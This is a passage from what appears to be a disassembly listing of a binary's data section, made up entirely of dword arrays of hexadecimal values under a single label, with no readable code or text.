		dd 9F00EFB2h, 285BF851h, 787BEBh, 0B66630D2h, 269E4CFBh
		dd 1B89FE00h, 0AD41BF8Bh, 0C3D61D47h, 9F5D80F3h, 0C62C6A8Ch
		dd 5E2ABB00h, 0F984C06Ch, 0EE6E0F1Ch, 0D4600CC2h, 69C44283h
		dd 77E65900h, 0CB35B6DCh, 30F00D5h, 0ABB49AB8h,	4CF236C2h
		dd 0FD523F00h, 263DDF82h, 6AE60473h, 7481074h, 7C9060EBh
		dd 48A15A29h, 2A18AF8Eh, 7B7DE72h, 0A3AFFB00h, 0A85D6406h
		dd 40090016h, 0C6F9B3F7h, 70384391h, 63FA06CCh,	20D45Dh
		dd 83E92885h, 7193F8AFh, 1009AEEh, 5B1D7EAh, 0BA139B18h
		dd 0BD7788h, 38E5096Dh,	4BF2390Ah, 0FB283203h, 0B024D0E3h
		dd 0BEDE8Dh, 6D800E50h,	5436C883h, 529A5500h, 7AB1FB63h
		dd 2510071h, 0BCD627A4h, 8100ECB5h, 920D4A7h, 758B08Ch
		dd 8B225CB2h, 95183CA6h, 0CD3CD900h, 0A869A0B6h, 0E07FE1C5h
		dd 0DA002D74h, 0D12E4039h, 9B4585h, 7CC30A08h, 7B3AD7E1h
		dd 0EB4E2903h, 0F821CBEEh, 1DF0D4B6h, 3D4B83D9h, 4C226980h
		dd 483009A3h, 120E5CE0h, 83E1CEE5h, 0F8D8502Fh,	483E8A03h
		dd 380251F2h, 883067EDh, 2D000070h, 2AF8621Fh, 0E63B4248h
		dd 0A7A12532h, 6A019470h, 8F203F06h, 6EC5D915h,	4211271h
		dd 240C65CCh, 3B608245h, 99986700h, 5C2542FEh, 0ECE6FC00h
		dd 0CD86E712h, 0D54B00E5h, 0FB3CD835h, 2004F77h, 3F101EBh
		dd 0C992FDh, 2A8AD407h,	6D280CCDh, 0F4607700h, 2667B35Fh
		dd 1EC37D71h, 537BCFA1h, 0A7F0F62h, 0C9708EE0h,	77F6B2CBh
		dd 6C13A000h, 50DCA9B7h, 10CA01DEh, 4B320CFFh, 82A4E87Eh
		dd 906AE700h, 84BCCCEAh, 91C40352h, 4CD00837h, 28F180D5h
		dd 67713BBFh, 9050BD26h
dword_567D48	dd 48CB9C92h, 0C38FD1E0h, 0C7FC4F01h, 0A0D25402h, 5000D829h
		dd 7B6A526Ch, 0B168A74h, 1000ADA2h, 0DAB2CD02h,	0D16E0C07h
		dd 4A31C3AAh, 84F028FFh, 68B462FFh, 445F04E8h, 0C0F4B1AEh
		dd 8C3ADF9Fh, 0CB0D9E1Eh, 0C7776480h, 486AE8h, 8742D091h
		dd 0D807C5E4h, 3B303F7Fh, 4FD96015h, 4AC73CB4h,	0A0AFB325h
		dd 0ACF46267h, 0C7001C21h, 0E2500EDCh, 2588745Dh, 54A78364h
		dd 72C73015h, 0E8601397h, 54958C41h, 71E200CAh,	55486FA4h
		dd 0F04BF401h, 97334030h, 0ED76002Eh, 46DFEEA2h, 0E7019DE0h
		dd 9E6110DEh, 0C8EC1802h, 0D5D07F0h, 806819DAh,	5FA3FF72h
		dd 770548E8h, 946E86A2h, 0A5E2D4D0h, 0CDFAF5h, 0F634C9ADh
		dd 0E88FBEFBh, 1DBA63Dh, 9116E5C4h, 8ED6E103h, 360EC6F1h
		dd 156F2AC8h, 0B6AA48B4h, 0C4E4E803h, 878871AEh, 0B801673Ch
		dd 88EE8F65h, 2E8293DBh, 5A3EAEF3h, 0AA0740DAh,	0D5622656h
		dd 76F5A970h, 0CAE900B0h, 5AA45975h, 0F3075065h, 0BDCE9390h
		dd 0E02756C2h, 4ACB88h,	9488106Bh, 0EA924499h, 6C6A1500h
		dd 0A365CF33h, 2E850048h, 477150C3h, 0AB00E003h, 0D84F2AF1h
		dd 321C56h, 81BBD158h, 5CE3711Eh, 1F19B33Ah, 68CB162Ch
		dd 0E2A4A240h, 7548E8CCh, 12810163h, 0F77E9982h, 8518D020h
		dd 767D0605h, 33C0A7D1h, 3E6B8Ah, 252D2E5Dh, 0FCCAE6F8h
		dd 8716AB00h, 2CF3CBAAh, 0B2807B8h, 5F221C80h, 7808504Ch
		dd 26313B00h, 6F65368Ch, 0F1E60041h, 0EC66EF7Ch, 0E90063BCh
		dd 9B713BC8h, 73CB1AC7h, 777809FCh, 0D4034C1Ch,	48782D9Dh
		dd 34850200h, 7375AAF4h, 40A31D18h, 0B0DA1F74h,	346E6720h
		dd 4F62F00Bh, 634B0084h, 60AB952Ch, 7DE1B0E8h, 7781FA82h
		dd 1189A98Fh, 8B5F1B81h, 0EFB0D5D9h, 20CF62E0h,	18FCC1C1h
		dd 949D94BFh, 66D00C1Dh, 21C85108h, 9E040636h, 0F70789D3h
		dd 0D833949Dh, 0A822C1D0h, 0C63D022Fh, 46264CCEh, 0F4DC840h
		dd 0BC8ACB00h, 2DA2F8EDh, 1998C0FCh, 74E01216h,	0F458A1C0h
		dd 1F2A64ECh, 0B4FC0762h, 0B8B42009h, 0E395ED86h, 2ED0A847h
		dd 6433507Dh, 8FF1B1Bh,	0E3E2101Fh, 7EAC8660h, 54ADAE00h
		dd 462F48AAh, 19980090h, 0C2753E02h, 2A00E98Dh,	1FAD8806h
		dd 26112D8h, 83654147h,	6055A227h, 6D0CCA1h, 0A5F9B902h
		dd 0DF52103Ah, 3093B804h, 5310A4C5h, 0DB004CD4h, 8D442D0Bh
		dd 70269BEDh, 0A21900F3h, 0DA04D021h, 3D7DA36Bh, 3C64A107h
		dd 650B831h, 8EE054h, 65C76002h, 42B769Fh, 7105A00h, 0FDA0DEBFh
		dd 20E1002Ch, 87789BE5h, 0AD009757h, 8898608Fh,	5291C7h
		dd 0D6B393A6h, 6DBE92A4h, 3EBD6100h, 0FE5F1DECh, 4D140203h
		dd 0BB1FE552h, 0FB4E37E0h, 0E7B1A000h, 4FB92B79h, 7C870E69h
		dd 0C1A03C60h, 0BFEF5DE0h, 22B25100h, 101C07D0h, 0A73101BBh
		dd 0F2E6D943h, 359BC0B6h, 4721C000h, 14CD1CB3h,	995D265Eh
		dd 0D610079h, 0A56354ECh, 0B2E24000h, 36804346h, 0F0D600A4h
		dd 7628B3CEh, 0D300B747h, 0B06B3F01h, 733B2B38h, 0C96A005Ah
		dd 28F69C58h, 0BCA81182h, 0A31D0B9Eh, 2F14B603h, 628AE08Ch
		dd 0AC3D00C5h, 5F8ECFA0h, 3A00CA59h, 2B12A226h,	755E8565h
		dd 0A8686080h, 0C9A3D677h, 3C834007h, 50C05DB8h, 65B038h
		dd 0F59655E4h, 9CEDEF66h, 4F9B8F0Ah, 0A11E94F2h, 47CD5B00h
		dd 120A0153h, 20A455E1h, 5A7D3810h, 0AA0094EEh,	73A780A8h
		dd 32F763h, 9F2DD5FEh, 1AD1CDBDh, 0C454E8EBh, 0F4A3900h
		dd 0EF4BB7E2h, 0B4EB3FD6h, 0CD3A581h, 0E48EF1E5h, 2A079CE3h
		dd 13A1D73Bh, 0D06AF3C0h, 678C07A0h, 67C496B6h,	0BFDE40AFh
		dd 1B716808h, 89122100h, 0F0F738D8h, 0F3E885h, 98FE1E1Ch
		dd 0B7CCB8C8h, 6D742709h, 226C0068h, 1DAAE2Fh, 65203E37h
		dd 0DDF71388h, 0DF9040D7h, 0F500548Eh, 0BE629664h, 0E4B735E9h
		dd 0B3A000B9h, 9AD618EBh, 73009976h, 784B93EFh,	19E5C37h
		dd 57431450h, 0E4B7EC40h, 1B03DD26h, 0EB0E6283h, 7494C85Eh
		dd 72BD0058h, 8481A519h, 8C1D563Ch, 5980FD8Dh, 244B1447h
		dd 0DF9B24CCh, 165C0A14h, 7D8080B8h, 7791B63Fh,	7BDB3E00h
		dd 0A2829F8Ah, 2D1B0064h, 49884F0Eh, 160FBADCh,	7D47C335h
		dd 6D3204C0h, 0CF67F2h,	0FF20509Fh, 0ED443C90h,	1F19F503h
		dd 0F229559Ah, 3DFC483Bh, 0B5AF092Fh, 4007BD4h,	93B81E07h
		dd 0F309BA98h, 80E88ED8h, 23428388h, 0AC600616h, 31B98B31h
		dd 44DB300h, 0D9FF172Fh, 9A8D0934h, 840070C5h, 57B362Dh
		dd 0CCE648h, 0E8EEE96Ah, 1956D86h, 0E3309644h, 80E4C724h
		dd 0AC1BB520h, 7EEC12h,	18EAAF73h, 0C4B17478h, 0E18AE900h
		dd 0FA46C03Bh, 3A751F27h, 815D00A6h, 0D37ED402h, 0E1F11907h
		dd 3BC06D49h, 1FCB958Dh, 0A0FC7FE4h, 40E57800h,	3836AD5h
		dd 229B3872h, 9F210075h, 348B50E1h, 5E00DA64h, 4515D493h
		dd 6CAB77h, 70906F3Eh, 0D3627837h, 0DA719A0Eh, 67406324h
		dd 7923C80Bh, 1E630013h, 41784C2Ah, 0B0C08B51h,	0F1ACF2DEh
		dd 28267943h, 0F0E015h,	0B859B590h, 0C488BEBDh,	84190E00h
		dd 964C0804h, 0F7D6078Fh, 85A27Ah, 47E56471h, 3B016DB0h
		dd 0A2148B9h, 39F077EEh, 0D4F60714h, 0D3A54EF9h, 8AE8D159h
		dd 0A4073827h, 0BA3E8697h, 9BC83F30h, 176C734Ah, 0BF03BE65h
		dd 0FD340300h, 3AF6FCh,	8FA41858h, 2A61BDF4h, 3841E000h
		dd 0D363014Ch, 0D1305B1h, 90EAD593h, 6E95CE44h,	9FBD6D00h
		dd 0AB79E85Fh, 7F0DFC52h, 2411C004h, 0F7B9675Dh, 2B24A27Ah
		dd 3A9C0434h, 412DF942h, 523060CDh, 20FA0005h, 281758E3h
		dd 19FAC43Fh, 1A962B00h, 4CC1F971h, 0C85400DAh,	0BE48A65Dh
		dd 5E03FCEAh, 0E84DE064h, 807DFA30h, 0BFA851E0h, 275000B7h
		dd 55D865FBh, 1B0172C0h, 511F6C07h, 7BD07346h, 0FEDB17D3h
		dd 0CF1FADh, 0D67AFA6Ah, 0B50C4623h, 507E3F42h,	0DF9506B0h
		dd 1074ED26h, 57E26900h, 2DEE311Ch, 5938066Ch, 68DBD27Eh
		dd 97902109h, 0B0F6002Bh, 0B072495Ah, 89796101h, 0F97D667Fh
		dd 1AC92045h, 0E08A3D00h, 3A97E10h, 3475FFh, 0A2751126h
		dd 0E8EC0FDEh, 7A4E100h, 4F8216EDh, 0AE590086h,	31A5E49Dh
		dd 17EC5D40h, 4A6C6000h, 87BA1088h, 61340196h, 0BEEF89B1h
		dd 98C5CC59h, 90935601h, 0F7FC1E24h, 4C4828D4h,	0F100A487h
		dd 0F3E15E1Ah, 0C23102DAh, 8A2ADE13h, 0E4884F30h, 0E58D01CBh
		dd 0B86BABCFh, 7EFA40B2h, 0E400DB65h, 7506251h,	0D14F4h
		dd 274DCB39h, 0E025E66Ch, 0A28D2A00h, 4B24CE9Fh, 0BB7900DFh
		dd 3F662201h, 0AD052919h, 81864171h, 3B588400h,	3239C45h
		dd 0B490D3Eh, 0C09950DEh, 5D88C843h, 2DABD102h,	6933BB46h
		dd 0B03F6660h, 0CF000DAFh, 0D7EC1E68h, 1DC8E8F2h, 9F679012h
		dd 2DB8002Fh, 0F8EB612Ch, 9E5FE700h, 471329A0h,	332EE0B0h
		dd 4D2AA935h, 1F2BEBE8h, 5EF95300h, 18A8B39Ah, 713F636Ch
		dd 90CD6235h, 4E02618Ch, 8B791E01h, 34A5FF36h, 3CC1AC30h
		dd 201BDF89h, 91C328B1h, 0C95BF9C0h, 7CEC381Eh,	82A4B301h
		dd 0D0FBEB07h, 2DBFF0Eh, 443F724Fh, 4C8A8B1h, 0C1F81F12h
		dd 9801B4FAh, 0B6BDAA14h, 9CE07747h, 4C485018h,	0A87B1825h
		dd 0D603014h, 5A03A774h, 0B469C07h, 305100A2h, 624AC965h
		dd 0A10F83DFh, 0E3AF2871h, 0F0E3349Dh, 176CF78Ch, 0A1EA4950h
		dd 66C7D061h, 0B41A4C00h, 911E6D0Ah, 16872634h,	38C80B1Eh
		dd 0D7407C02h
		dd 0B188E660h, 754C65Ch, 463D9D85h, 0F4E69510h,	67C900A6h
		dd 81BE33F9h, 0AB00EBB9h, 2C6BB0Bh, 1E10AA47h, 80130898h
		dd 6A3D7EDFh, 34037959h, 81EA2E49h, 5525E774h, 53D95C90h
		dd 7AC239B5h, 0BC344F85h, 0C51180EFh, 1900A952h, 7226E4Bh
		dd 1546F0D7h, 94A52634h, 1975BD01h, 0A0834B48h,	7F2EEE10h
		dd 0D03E803Ah, 980029ECh, 4D432652h, 1441EF8h, 0AEA1E680h
		dd 8732A7C2h, 28875949h, 31364E91h, 482FAAE4h, 0B6002D92h
		dd 47C601B1h, 65798907h, 0BF930F0Ch, 3A3862h, 0C0FB1A24h
		dd 4BC1DCB5h, 0EA4D71C1h, 0D45088A1h, 1DC079h, 762207BBh
		dd 0BCB1F52Eh, 9B890500h, 91263B06h, 2B78C9h, 3F0B6C86h
		dd 0AF50243Eh, 48FF16FCh, 23B05494h, 5991A130h,	0E6F15Eh
		dd 45B2C194h, 0BA923780h, 4098CB60h, 0E8D13CA6h, 94840056h
		dd 0E209A424h, 1400B84Dh, 4B7F9769h, 0F0528ADh,	1C5251A9h
		dd 8D9618C0h, 410073EAh, 340E9E15h, 980C748h, 0BDB558E7h
		dd 0AA2F0683h, 129B3100h, 0C2DA4BD0h, 0B0D87D20h, 9DBD009Dh
		dd 1913152h, 271F7441h,	0E180C5F4h, 0B594BE1Eh,	0F8D33750h
		dd 0EC71A3E2h, 8CF0D6E0h, 0E3604800h, 6D3C7E77h, 0AF740C9Ch
		dd 0F42851B2h, 0C04E2800h, 83D3405Ah, 127F0176h, 441792D9h
		dd 0D28CC4D0h, 0B0F5DD0Ah, 1C803051h, 0EEF26CA2h, 1B10C06Bh
		dd 0F342524Ch, 57449F01h, 0A3F54AEDh, 76C2FCh, 0AF4D1BE0h
		dd 6099515Dh, 0DAA10A06h, 7819B9CFh, 1D8207E1h,	10D8FBEBh
		dd 7D4355BDh, 9B7C137Bh, 0BF81D600h, 72098EC6h,	0F7190E15h
		dd 7E801877h, 0F3D9C91Eh, 0F52880Dh, 4C135126h,	0F1EDC8ECh
		dd 77CD0E5Bh, 0CB4044F3h, 0C9302D63h, 41D23300h, 0E3D428C4h
		dd 92B80FC8h, 261D5E0h,	0CC1A6544h, 0E8007DEBh,	7F7A8F3h
		dd 0F2276DDh, 0A6CF493Fh, 0EF215300h, 9F00E8D0h, 0A8C73AE3h
		dd 7FD63F8Ch, 0D2EE1DEDh, 0FAE000A3h, 0F61A5BF3h, 13200E1Dh
		dd 3C043DCh, 2A65C366h,	9CC50049h, 852DBFAh, 80C73695h
		dd 7100B48h, 1739A25h, 77746A81h, 70FC0C6Eh, 0E500B93Ah
		dd 3FED08AAh, 1E5F2448h, 802EC1F5h, 94E8928Fh, 0BBB8B6FFh
		dd 0CF0002ECh, 968B4EF2h, 61C7DCE7h, 0FACC1820h, 92908C1Fh
		dd 1579E3h, 26BFCB95h, 2547BC9Ah, 0C300E4FCh, 1BBD9171h
		dd 2EAD3306h, 3579F8h, 59B45A1Fh, 9200A723h, 0E3A57058h
		dd 77FB56h, 73ECD08h, 7822EF33h, 0E73F4400h, 9DD6173Ch
		dd 0A32A005Ah, 8FE02E97h, 0C9000629h, 67A47C3Eh, 0FD8B99CBh
		dd 778C90F7h, 4BEE3821h, 0AA448200h, 2CF66057h,	3856C130h
		dd 74DF1733h, 798F0005h, 6677489Dh, 35F48B42h, 85AB8800h
		dd 378A89A9h, 0C0E3E027h, 0DD545E71h, 0CA1EC830h, 1040F013h
		dd 6B92F5D1h, 0D480064h, 0A5C6B221h, 87002793h,	490F2071h
		dd 0AB0533h, 1713FCA4h,	2BD043B1h, 0A3DC9800h, 0FE07276h
		dd 825001Dh, 1271E328h,	8500B721h, 839BEB47h, 0F0AFD6BFh
		dd 0C1271D0Ah, 2DDB80DFh, 794C3278h, 5F2A0503h,	29E004h
		dd 61A2A7A8h, 115DF365h, 97096F78h, 0CC51EBh, 0C78F632Fh
		dd 173E4h, 0CBA57E85h, 16A8ACDBh, 0CE44280Eh, 47A78017h
		dd 5D91FBBh, 4A34845Eh,	0C0ED8725h, 657727A8h, 5C8DA61Eh
		dd 45143301h, 5E30411Bh, 248F002Ch, 0E777E3Eh, 990056CDh
		dd 85D7DEFFh, 23F6DCh, 0BFEA7C7Ah, 0D055F44Fh, 0D4811B07h
		dd 0CACDCA6Fh, 0DBEDD0h, 5C8E7B08h, 2D9379F5h, 4D678C0h
		dd 1FE7CF65h, 866818h, 52B21C30h, 8D06AC01h, 0A5FBEAABh
		dd 0C2C8E98h, 3ECEDE62h, 0A36069A8h, 8028DF1h, 183F60E4h
		dd 0CC8AAAC9h, 70B043Ch, 3619347Dh, 0BD0088CAh,	0D2F51029h
		dd 20EC5084h, 4B3A037Ah, 7BDA4F77h, 99B37800h, 0EFD90ABAh
		dd 0B1070B40h, 31003903h, 0A8C1478Eh, 0E21D6607h, 7751938Ch
		dd 0E185A1FFh, 404ECF19h, 0BD6F424h, 240050D9h,	17A25AE2h
		dd 6E523087h, 46603119h, 995C5680h, 36B73706h, 0B03262h
		dd 0E578207h, 4D4277F9h, 0A0C09126h, 21741Ah, 1FEC57C6h
		dd 5CE1C041h, 0B7B0FF14h, 0ED908200h, 448A0EE4h, 3B1948B2h
		dd 1BA0450h, 9C3D265Ch,	41523B2Ch, 200E4DF4h, 250E9A0Ch
		dd 418ABCA5h, 9431C422h, 51F72888h, 8098513Fh, 0E52B1129h
		dd 48EBEA89h, 18280412h, 0C3A4EEB0h, 28FD3368h,	1E8C6100h
		dd 0B26C1AC0h, 0D374006Fh, 5E5C2F84h, 8D0EEEC3h, 0E0043988h
		dd 7B9D6533h, 0C81F000Bh, 0A748DD7Fh, 2300F45Dh, 0ABCD63Ah
		dd 3AF1DB8h, 0B28301DCh, 0E7E867F3h, 1F3B8955h,	0AEEE8009h
		dd 8A81D8DDh, 0CE21019Ch, 0EA648B97h, 0E568C458h, 0D2BAC102h
		dd 0E08171A9h, 1920CEh,	2C6AC4FDh, 0DA82BF72h, 811F263Ah
		dd 0F4787066h, 996004F8h, 1EE7E635h, 80F623FCh,	2C981868h
		dd 4E00B969h, 8979E529h, 1F31E247h, 47CF0A7Ah, 401D0BDDh
		dd 719A388Dh, 0CB912C00h, 0B4344B0Eh, 93CF1C6Bh, 6F44007Fh
		dd 15F7BBF3h, 9D08B100h, 88A636B5h, 9123009Fh, 1FB7DF5Eh
		dd 0CC18131Ah, 0DE404A6Bh, 2395005Ah, 0A1732677h, 0EE669D5h
		dd 99480604h, 0B081F07Dh, 0E8FF7845h, 59E698h, 4A5BB03Ch
		dd 24A8D4E1h, 29364100h, 5E49F13Dh, 679007Bh, 0BA13C5F0h
		dd 630320F5h, 582787B3h, 998000B8h, 0D7C87FC0h,	0BF001CFEh
		dd 0AB66B433h, 77288D25h, 0A4263EFDh, 9532B30Fh, 0DEFEBA00h
		dd 6E172345h, 8B077B5Ch, 5F719490h, 4183FF80h, 6A482093h
		dd 8B00A879h, 0D3BA03A7h, 0F3DA6D34h, 1CB2DCF0h, 804914A0h
		dd 275911E4h, 47000555h, 34BEDB0Ch, 615A0736h, 5E9D191Bh
		dd 31304077h, 40E9B3D6h, 85E4229Ch, 270019DEh, 3AD880E0h
		dd 3E82015Eh, 1A1D6E0Ch, 0BCDCDCF3h, 0B67EB003h, 2986C9EFh
		dd 3E047611h, 0E27D6F8Fh, 8BE60980h, 227B7111h,	0B841E800h
		dd 5FAA5AABh, 278C3F02h, 0DDCDC19Eh, 9780BBDCh,	0DD79DB72h
		dd 0BD1EFA6Dh, 6580390Fh, 0D2CF9ACDh, 484F1F90h, 0FA6EEBh
		dd 2D9B72FEh, 0AD7906DCh, 6A059E00h, 81538C6Bh,	0F03100D0h
		dd 0E379A116h, 100E9AF8h, 0A0149774h, 0F2183C1h, 0A4BA1DAAh
		dd 3B813D19h, 43D765E9h, 98BCD082h, 316E5F30h, 14BB6h
		dd 370858Eh, 0C0BE6975h, 2ABB481Eh, 609190CFh, 2457E4B2h
		dd 98D20064h, 80DDCC1Ch, 633EB430h, 3E4CACh, 0B255F71Fh
		dd 76812305h, 7A6B850h,	95B58BB9h, 0EF9D0058h, 0B3004910h
		dd 160B8EB4h, 0A31347h,	8D65BB1Bh, 0FCCA48AFh, 0D66E3A01h
		dd 333794BEh, 2A1682E0h, 7C48D01h, 2B10D956h, 0F9DB40F4h
		dd 9031761h, 0C7BA46C6h, 325AE9EEh, 2CC2DCCh, 885FFAD0h
		dd 0E0A0F6F0h, 1EFB8D91h, 0AF4F130Ah, 7C17B02Ch, 660F2E00h
		dd 7B58FCEh, 0E8448799h, 1D3BC346h, 0C0E0A3D8h,	7DCAE00h
		dd 1B5CCC9Fh, 94F406D4h, 98E8F289h, 988BDA7Ch, 143C53D3h
		dd 48D932AEh, 0D5C4FC00h, 3867B3E6h, 6D097A07h,	74807FD8h
		dd 0C80893h, 2C76F4E7h,	7AA46292h, 53C48000h, 72D316D5h
		dd 0B28100ECh, 634AD206h, 0FFFEB33Eh, 32CF6000h, 5E7F507Bh
		dd 0E5BA0062h, 287797D5h, 0FB079F24h, 0CBFCB271h, 799ECCC0h
		dd 81160708h, 20BA83D7h, 571BA54Fh, 98CEC507h, 6E043DDh
		dd 93DFC4h, 3FDC1AE9h, 0A78AB760h, 0A2BF3902h, 44EED8A3h
		dd 0CF0B0078h, 0A7793C94h, 8D00BAF2h, 4CA94E17h, 0E74135h
		dd 5512D8A8h, 0BDFCBD7h, 0BD21A400h, 18F022CAh,	77310054h
		dd 86B673D9h, 990133AAh
		dd 51F5C9B9h, 0CDFC204Bh, 8952003Ah, 0A42A08E9h, 3D24493Eh
		dd 8F01C8D4h, 0E3B8607Bh, 255EE0h, 591BCCA1h, 8633305Ch
		dd 0A891A00Ch, 7F68E8h,	0DBFFFDF4h, 29EBF606h, 23008FF2h
		dd 0CE983E1h, 6FBCC5E4h, 0C481F838h, 0C2A84233h, 59CB9A80h
		dd 10F08D12h, 1B675100h, 0D6E7A0F8h, 8E6204C2h,	90A79287h
		dd 0EA884730h, 69EE2CA8h, 342EF924h, 9E139D00h,	1182030h
		dd 0CC412F74h, 824873F8h, 0A2D1FB50h, 0F86463BAh, 0E4F8A67h
		dd 14818291h, 260D7EE3h, 3E3D94E8h, 0F338E71Eh,	0DF61EC40h
		dd 334AAAh, 0A71CC3F2h,	58A6E3F7h, 11FD7A03h, 88B1B380h
		dd 1829FAh, 0FC83C384h,	1B968609h, 175DAE00h, 0A56B6205h
		dd 34D74F6h, 0C0D3BC2Ch, 0B4C3F30Eh, 0F7A181E4h, 8540FA9Dh
		dd 4900C72Bh, 0DAAEA084h, 227944h, 0C85C19A2h, 7AF004B5h
		dd 3297AB03h, 0BBEE756Ch, 0F350BFC5h, 8889BFh, 22BBA95Dh
		dd 0E19C2AA4h, 0F99BD909h, 0F88D80C3h, 3B8EE04Dh, 0E38E6616h
		dd 71497B20h, 0AAD7EB01h, 36FC40F1h, 580014CCh,	0E4516810h
		dd 53C1A3h, 0B74A9A42h,	0D2949B43h, 37CA5500h, 24A4B602h
		dd 5C45E885h, 0B902AD6Bh, 0AB360A76h, 32A83560h, 0B7545500h
		dd 82A55774h, 0F770264h, 52883EE0h, 562DE440h, 6B03DF72h
		dd 53106090h, 98DED824h, 0DCF6073Ah, 0E086654Eh, 0A84D9961h
		dd 3360AC04h, 0FDC3F3AEh, 94E8B046h, 63A531B0h,	0FC105D18h
		dd 48907CF8h, 0F1ACEC1Dh, 6F799000h, 24AA369Ah,	0A46CC1h
		dd 0E516EF1Eh, 421E0ABDh, 6040B450h, 53A53F03h,	4B3C0039h
		dd 0FF06E3D7h, 0E8072AA3h, 0E0B19464h, 3135FE90h, 0D1BA005Fh
		dd 0A8DBDA92h, 0E274A38Ah, 0C13C7A00h, 19FE4980h, 0B61800A7h
		dd 643D50EDh, 22F884E9h, 78AB3E03h, 0D1806C51h,	48DD0E0Dh
		dd 4435E8h, 3AA7EB05h, 0FDB22E82h, 3C5EA62Eh, 46776C00h
		dd 797A3086h, 0EA570769h, 0DF387221h, 0B9F6AEC0h, 0B40024E7h
		dd 807B537h, 48A075C3h,	0E100A0B3h, 992B8BC9h, 0A4005C83h
		dd 96B747E8h, 28DA2579h, 0A0C00B22h, 0E68AACh, 0F22E3EE4h
		dd 0BB81B465h, 3100DB7Ch, 7FFAFFA5h, 0DFD80Dh, 0DA40C942h
		dd 0C475B78Ch, 0D0AEB100h, 0E015CD2Eh, 0F8E900DEh, 194651FFh
		dd 890077A1h, 0CFEA4329h, 0A872CBh, 0C0A3B6D7h,	0C6BCDB40h
		dd 5501F490h, 0A5AF5DCCh, 1CC0D528h, 0F3B826DDh, 39484030h
		dd 0F900AE3Fh, 59499D70h, 0BD7C16h, 0D496ADE9h,	87E1B441h
		dd 0ED00149Bh, 81CA3DE0h, 0F5A10038h, 80C3D821h, 0FCEAADD2h
		dd 0E47F49h, 878407EEh,	48D9D7h, 0F483AB4Dh, 0AF6431F2h
		dd 0C5E72200h, 0E4639116h, 99D5003Dh, 0EA9E1B07h, 0A10640B7h
		dd 0D51CC58h, 0DB80070Ch, 8188D98Dh, 308AA705h,	42007D29h
		dd 8FA46E5Bh, 0B6AD7h, 996368ACh, 41A98922h, 0DD789CE4h
		dd 72FCE500h, 2B4BF494h, 0B5910123h, 4A887025h,	1FA074D0h
		dd 0E38844Ch, 9E26CD4h,	60A80154h, 0E4C8D87Bh, 387A07E0h
		dd 0C05C840Dh, 0F8BCF456h, 0D4140900h, 1D94A7D8h, 0C38F0AD7h
		dd 3D88681Bh, 8010BA1Eh, 0EED69387h, 0EC0066A8h, 0F48503E5h
		dd 0DF288h, 0C128BB80h,	573BD07Dh, 97012779h, 117E82AAh
		dd 0D0649495h, 0BEEA44h, 0AC6EA0BDh, 0FEA95272h, 13214501h
		dd 388F7EDCh, 0F8805EFCh, 0A1E030Dh, 22B6BF99h,	61824FD8h
		dd 3A702548h, 0F74981F0h, 0EE1EA538h, 4CA430h, 0E53383DFh
		dd 26B9530Bh, 807FD03Fh, 43F2E68Dh, 0F694BF9h, 784AEA75h
		dd 911AE180h, 74B109DAh, 8BD3D808h, 6F808CA9h, 0E95FA7A1h
		dd 0C0F88103h, 1B18751h, 0E67E9111h, 63F0176Eh,	2F058178h
		dd 0F9819822h, 452556DDh, 0A876E0CCh, 8E740400h, 0E2074EE3h
		dd 0A0F63AB3h, 0A7E84C00h, 0AFB440F4h, 7C591C73h, 18971874h
		dd 3F2E068h, 0F522042Bh, 3800C18Eh, 0B644D36Fh,	597DADh
		dd 64AE3BE1h, 0C222C42Bh, 7E715C00h, 0B708332Eh, 3D97007Bh
		dd 54F8054Fh, 8CE49996h, 0D3A6A80Fh, 84686016h,	97441B2h
		dd 0FF75B1E4h, 0E0E37427h, 73E127A5h, 0AC2170C0h, 170FA6h
		dd 0B257A9A2h, 4697A4C3h, 0E3F8E000h, 954D87E5h, 3B9D7A75h
		dd 61001E9Fh, 0AF0B1684h, 0E6001C99h, 182EB52Fh, 2D470DCh
		dd 7E49BC2Dh, 60408D77h, 8A5DAE38h, 0A0F8018h, 0F49DE06Bh
		dd 9F3B0FE2h, 5F82A1DAh, 8E4352Dh, 80E8BD26h, 0C088AE94h
		dd 1252EF40h, 86D717ABh, 37000025h, 7D136D41h, 6C18BA00h
		dd 0DDE1F9C9h, 75560016h, 0E7354954h, 0BE77AE05h, 0D3B23200h
		dd 9B1D5DCBh, 455A003Eh, 0E35BB60Ah, 4E1893D0h,	195847DBh
		dd 39D926DCh, 0D212FFh,	520AD128h, 0BA2A4318h, 0B400E420h
		dd 0EB83BCDh, 2E9D03EDh, 404C7410h, 5FF078BBh, 0AD80F8DDh
		dd 0E31DAD0h, 2E600AFh,	0DFA743Ch, 0C92EF853h, 0AD0092B8h
		dd 0CEAEE082h, 2445155Fh, 0AF005856h, 813AC337h, 1800DAADh
		dd 0FD4EFF34h, 23B368h,	0E1D115E5h, 7A7F5F1Dh, 0C1249700h
		dd 30314F1Ah, 4A2E3E10h, 0A586B787h, 3E321049h,	1A005A77h
		dd 39736EC8h, 84970Eh, 0C7F4B62Dh, 0D43450Bh, 0D2E18D05h
		dd 98C0862Ch, 1E36034h,	1A229676h, 80853678h, 0E4E59E18h
		dd 71C5EE48h, 0F481022Eh, 1835199Ch, 27005851h,	0EF2C0F78h
		dd 662A00D0h, 0BA62BDFDh, 42020685h, 776A18EAh,	0B019C0E7h
		dd 79990E4Dh, 0C0D25211h, 0A4A9738h, 0ED48500h,	0CCCFE2DBh
		dd 7E7F246Ch, 9B2D6010h, 8F00CDB1h, 23A419B5h, 1C8EE3D9h
		dd 301FAC9Ch, 0C87A0E48h, 2A24581Dh, 0E7C64D40h, 0FE6EAh
		dd 6C4560E3h, 0C39AC9D5h, 0B29B1F12h, 527334D0h, 1CF0009Dh
		dd 0E045F21Eh, 0B7002E1Dh, 8236E9D3h, 9AA3C35Ch, 974738E0h
		dd 0E85260C9h, 98BD78C0h, 7026C1A7h, 8742248Dh,	7DF4C055h
		dd 0E53E008Bh, 0D5B6A29Ah, 911C0376h, 0BC41FE23h, 0C41C5E58h
		dd 1608B0C3h, 0E31300A9h, 0DBEE5B6Ch, 8900E180h, 71BDEB9Dh
		dd 10C1D67h, 0F52C2E04h, 0FED1E3F0h, 470DE0F7h,	0E67100E4h
		dd 0B35316E1h, 4500D366h, 821E5D0Fh, 7FF958Bh, 89976992h
		dd 0A2CE5019h, 2B0093BAh, 964146D7h, 80F963h, 0FEE0C4C3h
		dd 78F75F39h, 0CB529C00h, 44F4C1A4h, 51AB0066h,	0EAF98CA6h
		dd 0B5FA2410h, 0E09C2700h, 0AFB35235h, 8A8201B0h, 0B74120BCh
